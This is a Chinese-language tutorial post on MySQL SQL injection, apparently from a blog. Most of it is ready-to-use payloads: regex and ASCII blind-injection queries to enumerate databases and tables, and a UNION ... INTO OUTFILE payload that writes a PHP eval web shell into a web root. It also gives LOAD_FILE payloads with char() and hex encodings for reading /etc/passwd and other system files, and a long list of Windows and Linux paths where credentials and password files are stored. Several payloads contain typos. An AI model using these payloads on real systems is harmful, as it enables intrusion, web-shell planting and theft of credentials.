SQL注入(二)

1.利用正则注入

and length(database())=6 --+
判断当前数据库名字长度
and 1=(database() regexp '^securit[a-z]')
猜当前数据库名字(首先要知道长度)
and (select 1 from information_schema.tables where table_schema=database() and table_name regexp '^[a-z]' limit 0,1) --+
查当前数据库有多少个表
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
猜当前数据库第一个表名长度是否为6.
and ascii(substr((select table_name information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
猜当前数据库第一个表名字符
and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>100--+
判断当前数据库users表的长度
and (select 1 from information_schema.schemata where schema_name regexp '^[a-z]' limit 9,1) --+
查拥有多少个数据库
and length((select schema_name from information_schema.schemata limit 0,1))>100--+
查第一个数据库名字长度是否大于100
注意!limit 0,1是对于select的限定,并不是对regexp函数的限定!!!!!
当users[a-z]不正确时,表示users下一位没有字母。要验证是否是该表名,正则表达式为'^users$',但是没这必要 直接判断 table_name = 'users' 就行了。
like匹配注入
语法:select user() like re%

2.导入导出注入

2.1.导入到文件

SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE权限,才能使用此语法。file_name 不能是一个已经存在的文件。当然了也可以进行二次执行来验证命令是否添加成功。
第一种直接将 select 内容导入到文件中:
?id=-1‘ union select version() into outfile “c:\\phpStudy\\WWW\\test.php” --+
此处将 version()替换成一句话,<?php @eval($_post[“1”])?>也即Select <?php @eval($_post[“1”])?> into outfile “c:\\phpStudy\\WWW\\test.php”
直接连接一句话就可以了,其实在 select 内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
?id=-1' union select version() Into outfile “phpStudy\\WWW\\test.php” LINES TERMINATED BY 0x16 --+ 进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。

2.2.导出文件

LOAD_FILE(file_name) :读取文件并返回改文件内容作为一个字符串。使用条件:
1、必须有权限读取并且文件必须完全可读
and (selectcount(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有administrators 才能访问的文件,users 就别想 load_file 出来。
在实际注入过程中,有两个难点需要解决:
1.绝对路径
2.构造有效的畸形语句(利用报错爆出绝对路径)
用法:-1 union select 1,1,1,load_file(C:\\boot.ini) --+
示例:
Select1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
//解释: 利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
-1' union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
//解释: “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
-1' union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
//解释: “c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1' union select 1,1,1,load_file(c:\\boot.ini)
//解释: 路径里的/用 \\代替

2.3.文件导入到数据库

load datainfile 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用 load data infile 导入到数据库中。
示列:
load data infile '/tmp/t0.txt' ingnore into table t0 character set gbk fields terminated by '\t' lines terminatd by '\n'
解释:将 /tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fileds terminated by 是每一项数据库之间的分隔符,lines terminated by 是行的结尾符。当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑/tmp 等文件夹。
附:MySQL注入load_file常用路径
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值